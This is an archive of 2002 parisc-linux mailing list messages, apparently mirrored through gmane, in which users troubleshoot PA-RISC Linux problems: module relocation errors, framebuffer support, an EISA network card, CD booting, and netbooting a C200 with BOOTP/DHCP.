NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:55 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 21 00:08:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 027D74843; Thu, 21 Mar 2002 00:08:51 -0700 (MST)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Wed, 20 Mar 2002 22:16:46 GMT." <Pine.LNX.4.44.0203202209250.5453-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14393

"M. Grabert" wrote:
> > > depmod: Unhandled relocation of type 74 for printk_Rsmp_dd132261
> > > depmod: Unhandled relocation of type 74 for usb_deregister_Rsmp_c6f994d5
> >
> > I've seen this when CONFIG_PA20 is enabled but CONFIG_PARISC64 is not.
> > Don't know if that's your problem, but it's worth checking.

FWIW, it seems the Richard Hirst has fixed this.
He's posted a modutils_2.4.13-3.1rgh_hppa.deb to test
(I've used it successfully) on ftp.p-l.o/unofficial-debs.

thanks richard!
grant



From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA-RISC 0.9.3+C200+Visualize-EG+2.4.18-pa05 = working X!
Date: Thu, 21 Mar 2002 00:12:21 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020321071221.A89204845@dsl2.external.hp.com>
References: <Pine.LNX.4.21.0203210007210.25956-100000@gatekeeper>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621175 5080 80.91.229.3 (22 Nov 2014 01:52:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Arjen Hommersom <arjenh@chello.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 21 00:12:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A89204845; Thu, 21 Mar 2002 00:12:21 -0700 (MST)
In-Reply-To: Message from Arjen Hommersom <arjenh@chello.nl> 
   of "Thu, 21 Mar 2002 00:10:28 +0100." <Pine.LNX.4.21.0203210007210.25956-100000@gatekeeper> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14394

Arjen Hommersom wrote:
> It doesnt crash my C240 either, but unfortunately no fb is working. I
> guess this doesn't work for the FX2 graphics cards..

correct. FX/* cards support 24-bit color and have a different Frame buffer
layout that tsbogend/deller/esiee/et al don't know how to make work exactly.

I'm really happy the Vis-EG works (using it now)...but I've got a
Vis-FX/E waiting to be plugged in...

thanks,
grant



From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100/10 add-on card on a 715/80
Date: Thu, 21 Mar 2002 22:16:48 -0500
Organization: LCN
Lines: 33
Approved: news@gmane.org
Message-ID: <3C9AA220.6030201@neuronet.pitt.edu>
References: <3C92DD15.4060008@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621175 5083 80.91.229.3 (22 Nov 2014 01:52:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 21 20:43:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from inca.herrera.edu (pool-151-201-36-107.pitt.east.verizon.net [151.201.36.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 849D6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Mar 2002 20:43:57 -0700 (MST)
Original-Received: from neuronet.pitt.edu (localhost [127.0.0.1])
	by inca.herrera.edu (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g2M3Gmj03094
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Mar 2002 22:16:48 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020205
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14395

Hello,

This time a brought a 715/80 model to test the EISA network card. I do 
not get a kernel BUG.

The network interface is brought up, but I can't connect to the rest of 
the machines in my lan.

I connected the card's 10 BaseT port to my switch.

While trying to ping from the parisc box to my linux PC I get this from 
tcpdump, *.2 is the PC and *.21 is the parisc:

22:04:31.926833 192.168.0.21 > 192.168.0.2: icmp: echo request (DF)
22:04:31.926903 192.168.0.2 > 192.168.0.21: icmp: echo reply [tos 0x10]
22:04:32.926816 192.168.0.21 > 192.168.0.2: icmp: echo request (DF)
22:04:32.926913 192.168.0.2 > 192.168.0.21: icmp: echo reply [tos 0x10]
22:04:33.926793 192.168.0.21 > 192.168.0.2: icmp: echo request (DF)
22:04:33.926885 192.168.0.2 > 192.168.0.21: icmp: echo reply [tos 0x10]
22:04:34.926769 192.168.0.21 > 192.168.0.2: icmp: echo request (DF)
22:04:34.926858 192.168.0.2 > 192.168.0.21: icmp: echo reply [tos 0x10]

Any comments?

P.S. Is there a way to make the hp100 driver bind to eth1 and the built 
in interface bind to eth0?

Thanks.
-- 
      Rafael




From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Bruno=20L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 0.9.3 CD
Date: Fri, 22 Mar 2002 11:01:45 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <20020322100145.12782.qmail@web9807.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1085348588-1016791305=:12560"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621176 5095 80.91.229.3 (22 Nov 2014 01:52:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 22 03:01:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web9807.mail.yahoo.com (web9807.mail.yahoo.com [216.136.129.32])
	by dsl2.external.hp.com (Postfix) with SMTP id A30C5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Mar 2002 03:01:46 -0700 (MST)
Original-Received: from [129.20.233.91] by web9807.mail.yahoo.com via HTTP; Fri, 22 Mar 2002 11:01:45 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14396

--0-1085348588-1016791305=:12560
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


Hi!

I'm trying to install the debian on a B180L, however if I can boot on the 0.9.2Cd, I can't on the 0.9.3. And it seem s that the 0.9.2 Cd doesn't support tyhe key boardon my B180L.

Do you have any methodology to make a bootable CD from the 0.9.3 CD?

Thanks



---------------------------------
Yahoo! Mail -- Une adresse @yahoo.fr gratuite et en franais !

--0-1085348588-1016791305=:12560
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

<P>Hi!</P>
<P>I'm trying to install the debian on a B180L, however if I can boot on the 0.9.2Cd, I can't on the 0.9.3. And it seem s that the 0.9.2 Cd doesn't support tyhe key boardon my B180L.</P>
<P>Do you have any methodology to make a bootable CD from the 0.9.3 CD?</P>
<P>Thanks</P><p><br><hr size=1><a href="http://fr.mail.yahoo.com">Yahoo! Mail</a> -- Une adresse @yahoo.fr gratuite et en franais !<br>
--0-1085348588-1016791305=:12560--



From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Bruno=20L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 0.9.3 CD
Date: Fri, 22 Mar 2002 15:59:21 +0100 (CET)
Lines: 28
Approved: news@gmane.org
Message-ID: <20020322145921.28770.qmail@web9807.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-840234807-1016809161=:28700"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621176 5097 80.91.229.3 (22 Nov 2014 01:52:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 22 07:59:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web9807.mail.yahoo.com (web9807.mail.yahoo.com [216.136.129.32])
	by dsl2.external.hp.com (Postfix) with SMTP id 022EB482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Mar 2002 07:59:22 -0700 (MST)
Original-Received: from [129.20.233.91] by web9807.mail.yahoo.com via HTTP; Fri, 22 Mar 2002 15:59:21 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14397

--0-840234807-1016809161=:28700
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


As some of you told me the CD is bootable...

I'm wondering if there a special method to burn the iso file. I use Nero, but parhaps another software is more

suitable for such task?


Nono, alias Ken le Survivant


---------------------------------
Yahoo! Mail -- Une adresse @yahoo.fr gratuite et en franais !

--0-840234807-1016809161=:28700
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

<P>As some of you told me the CD is bootable...</P>
<P>I'm wondering if there a special method to burn the iso file. I use Nero, but parhaps another software is more</P>
<P>suitable for such task?</P><BR><BR>Nono, alias Ken le Survivant<p><br><hr size=1><a href="http://fr.mail.yahoo.com">Yahoo! Mail</a> -- Une adresse @yahoo.fr gratuite et en franais !<br>
--0-840234807-1016809161=:28700--



From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dark Fiber <dfiber@mega-tokyo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] netbooting kernel
Date: Sat, 23 Mar 2002 23:21:44 +0000
Lines: 123
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020323231259.02e2cd68@mail.mega-tokyo.com>
References: <20020322145921.28770.qmail@web9807.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621176 5100 80.91.229.3 (22 Nov 2014 01:52:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 23 16:17:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amaretto.propagation.net (unknown [216.97.21.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C04724831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Mar 2002 16:17:36 -0700 (MST)
Original-Received: from death.mega-tokyo.com (host217-39-43-36.in-addr.btopenworld.com [217.39.43.36])
	by amaretto.propagation.net (8.8.5/8.8.5) with ESMTP id RAA18616
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Mar 2002 17:16:52 -0600
X-Sender: entropy@mail.mega-tokyo.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <20020322145921.28770.qmail@web9807.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14398

when trying to netboot my c200 to install the 0.9 cd,
it doesnt get very far...

i did a sea lan and get a p0 reference;
P0     LAN.192.168.1.1.3.254    192.168.1.1   100/Full Dx

(192.168.1.1 being my router, .1.10 is my freebsd box).

so when I  boot p0 i get


Cannot find ENTRY_TEST.

Failed to initialize.

ENTRY_INIT
Status = -7


checking the arp cache on my router doesnt even give a reference
to my c200 (i dont even know the c200's booting default ip)

BUT! checking my dhcp ip assignment table in the router i get
3       192.168.1.11    00-60-B0-B2-89-18       11:49:02.600

so I know its created an entry for the machine...
i also know the cable is good (i netboot my sparcstation 5 just peachy).


doing a direct connect from my c200 to my pc (freebsd 4.5) and doing a sea lan
gets no result.

i have my /etc/ethers set with the c200 MAC
i have tftpboot setup, bootpd, rarpd, etc.

if it helps here is some of the techo info from the c200;
(mebbe a known bug in some firmware I have? problem is, since I cant boot
the c200, I cant update the firmware....)


Firmware Version  5.8

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

   Processor   Speed            State           Coprocessor State  I/D Cache
   ---------  --------   ---------------------  ----------------- 
-------------
       0      200 MHz    Active                 Functional         512 KB/1 MB

   Central Bus Speed (in MHz) :        120

   Available memory (bytes)    : 268406784
   Good memory required (bytes):   21610496

   Primary boot path:    FWSCSI.6.0
   Alternate boot path:  SESCSI.6.0
   Console path:         GRAPHICS(4)
   Keyboard path:        PS2

   LAN Station Address:  0060b0-b28918


CHIP REVISIONS

         Module              Revision
         ------              --------
         Backplane Board     1
         I/O Board           3
         Processor Board     0
         PA 8200-8200 CPU    4.0
         PDC                 5.8
         Memory Controller   9
         I/O Bus Adapter 0   15
         GSC to PCI Bridge   0x6803
         Multi I/O Chip      0
         I/O Bus Adapter 1   15
         GSC to PCI Bridge   0x6822
         GSC 1               40MHz
         GSC 2               40MHz

         GRAPHICS(4)         8.09/100 2fc1066b.09a02587


I/O MODULE INFORMATION
                                                                      IODC IODC
Path         Decimal Type                      Location   HVER SVER  Vers Dep
------------ ------- ------------------------- ---------- ---- ----  ---- ----
8/0          8/0     Bus Bridge                built-in   6803 0a00  0x00 0x00
SERIAL_2     8/0/63  RS232 port                built-in   0060 8c00  0x01 0x00
8/16         8/16    Bus Adapter               built-in   0560 8100  0x00 0x00
8/16/0       8/16/0  Parallel                  built-in   0560 7400  0x00 0x00
8/16/1       8/16/1  Audio                     built-in   0564 7b00  0x00 0x00
SERIAL_1     8/16/4  RS232                     built-in   0560 8c00  0x01 0x00
SESCSI       8/16/5  SE SCSI                   built-in   0560 8200  0x99 0x00
PS2          8/16/7  Keyboard                  built-in   0560 8400  0x00 0x00
8/16/8       8/16/8  Mouse                     built-in   0560 8400  0x00 0x00
8/63         8/63    Bus Converter             built-in   5011 0c00  0x00 0x00
10/0         10/0    Bus Bridge                built-in   6821 0a00  0x00 0x00
10/63        10/63   Bus Converter             built-in   5011 0c00  0x00 0x00



-Dark Fiber <dfiber@mega-tokyo.com>

[FAQ] Write Your Own Operating System
         http://www.mega-tokyo.com/os
Sarien Sierra AGI Emulator
         http://www.mega-tokyo.com/sarien
3x3 Eyes Fanfiction Archive
         http://www.mega-tokyo.com/pai
AD&D UnderDark Roguelike
         http://www.mega-tokyo.com/underdark
Roguelike News II
         http://www.mega-tokyo.com/rlnews






From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] netbooting kernel
Date: Sun, 24 Mar 2002 00:57:29 +0100
Organization: private
Lines: 154
Approved: news@gmane.org
Message-ID: <3C9D1669.8A98AAA3@gmx.at>
References: <5.1.0.14.2.20020323231259.02e2cd68@mail.mega-tokyo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621176 5110 80.91.229.3 (22 Nov 2014 01:52:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dark Fiber <dfiber@mega-tokyo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 23 16:56:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440AF4834
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Mar 2002 16:56:25 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020323235616.RULF11252.viefep14-int.chello.at@gmx.at>;
          Sun, 24 Mar 2002 00:56:16 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14399

Hello !

I cannot say you directly your problem, but check following ...

Decide for one boot method, not all things in mixture as BOOTP and RARP
and DHCP and .....

Your box seems to speak BOOTP/DHCP, is this correct ?
Otherwise you need to use RBOOT (a HP proprietary boot protocol).

Decide for BOOTP or DHCP!

For BOOTP only ONE file is needed, the `/etc/bootptab'.
For DHCP only ONE file is needed, the `/etc/dhcpd.conf'.

(No need for `ethers' etc....).

Now check, if the boot file (LIF image) is correctly defined in the
`bootptab' or `dhcpd.conf', perhaps your machine does not get the valid
boot image. BTW, the image is created with `make palo' on the linux
kernel
source tree base.

I hope, you will find a thing, which is not correct here ... !

With friendly regards
Christoph Plattner


Dark Fiber wrote:
> 
> when trying to netboot my c200 to install the 0.9 cd,
> it doesnt get very far...
> 
> i did a sea lan and get a p0 reference;
> P0     LAN.192.168.1.1.3.254    192.168.1.1   100/Full Dx
> 
> (192.168.1.1 being my router, .1.10 is my freebsd box).
> 
> so when I  boot p0 i get
> 
> Cannot find ENTRY_TEST.
> 
> Failed to initialize.
> 
> ENTRY_INIT
> Status = -7
> 
> checking the arp cache on my router doesnt even give a reference
> to my c200 (i dont even know the c200's booting default ip)
> 
> BUT! checking my dhcp ip assignment table in the router i get
> 3       192.168.1.11    00-60-B0-B2-89-18       11:49:02.600
> 
> so I know its created an entry for the machine...
> i also know the cable is good (i netboot my sparcstation 5 just peachy).
> 
> doing a direct connect from my c200 to my pc (freebsd 4.5) and doing a sea lan
> gets no result.
> 
> i have my /etc/ethers set with the c200 MAC
> i have tftpboot setup, bootpd, rarpd, etc.
> 
> if it helps here is some of the techo info from the c200;
> (mebbe a known bug in some firmware I have? problem is, since I cant boot
> the c200, I cant update the firmware....)
> 
> Firmware Version  5.8
> 
> Duplex Console IO Dependent Code (IODC) revision 1
> 
> ------------------------------------------------------------------------------
>     (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
> ------------------------------------------------------------------------------
> 
>    Processor   Speed            State           Coprocessor State  I/D Cache
>    ---------  --------   ---------------------  -----------------
> -------------
>        0      200 MHz    Active                 Functional         512 KB/1 MB
> 
>    Central Bus Speed (in MHz) :        120
> 
>    Available memory (bytes)    : 268406784
>    Good memory required (bytes):   21610496
> 
>    Primary boot path:    FWSCSI.6.0
>    Alternate boot path:  SESCSI.6.0
>    Console path:         GRAPHICS(4)
>    Keyboard path:        PS2
> 
>    LAN Station Address:  0060b0-b28918
> 
> CHIP REVISIONS
> 
>          Module              Revision
>          ------              --------
>          Backplane Board     1
>          I/O Board           3
>          Processor Board     0
>          PA 8200-8200 CPU    4.0
>          PDC                 5.8
>          Memory Controller   9
>          I/O Bus Adapter 0   15
>          GSC to PCI Bridge   0x6803
>          Multi I/O Chip      0
>          I/O Bus Adapter 1   15
>          GSC to PCI Bridge   0x6822
>          GSC 1               40MHz
>          GSC 2               40MHz
> 
>          GRAPHICS(4)         8.09/100 2fc1066b.09a02587
> 
> I/O MODULE INFORMATION
>                                                                       IODC IODC
> Path         Decimal Type                      Location   HVER SVER  Vers Dep
> ------------ ------- ------------------------- ---------- ---- ----  ---- ----
> 8/0          8/0     Bus Bridge                built-in   6803 0a00  0x00 0x00
> SERIAL_2     8/0/63  RS232 port                built-in   0060 8c00  0x01 0x00
> 8/16         8/16    Bus Adapter               built-in   0560 8100  0x00 0x00
> 8/16/0       8/16/0  Parallel                  built-in   0560 7400  0x00 0x00
> 8/16/1       8/16/1  Audio                     built-in   0564 7b00  0x00 0x00
> SERIAL_1     8/16/4  RS232                     built-in   0560 8c00  0x01 0x00
> SESCSI       8/16/5  SE SCSI                   built-in   0560 8200  0x99 0x00
> PS2          8/16/7  Keyboard                  built-in   0560 8400  0x00 0x00
> 8/16/8       8/16/8  Mouse                     built-in   0560 8400  0x00 0x00
> 8/63         8/63    Bus Converter             built-in   5011 0c00  0x00 0x00
> 10/0         10/0    Bus Bridge                built-in   6821 0a00  0x00 0x00
> 10/63        10/63   Bus Converter             built-in   5011 0c00  0x00 0x00
> 
> -Dark Fiber <dfiber@mega-tokyo.com>
> 
> [FAQ] Write Your Own Operating System
>          http://www.mega-tokyo.com/os
> Sarien Sierra AGI Emulator
>          http://www.mega-tokyo.com/sarien
> 3x3 Eyes Fanfiction Archive
>          http://www.mega-tokyo.com/pai
> AD&D UnderDark Roguelike
>          http://www.mega-tokyo.com/underdark
> Roguelike News II
>          http://www.mega-tokyo.com/rlnews
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] netbooting kernel
Date: Sat, 23 Mar 2002 20:50:57 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20020324035057.6CE674837@dsl2.external.hp.com>
References: <5.1.0.14.2.20020323231259.02e2cd68@mail.mega-tokyo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621177 5124 80.91.229.3 (22 Nov 2014 01:52:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dark Fiber <dfiber@mega-tokyo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 23 20:50:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
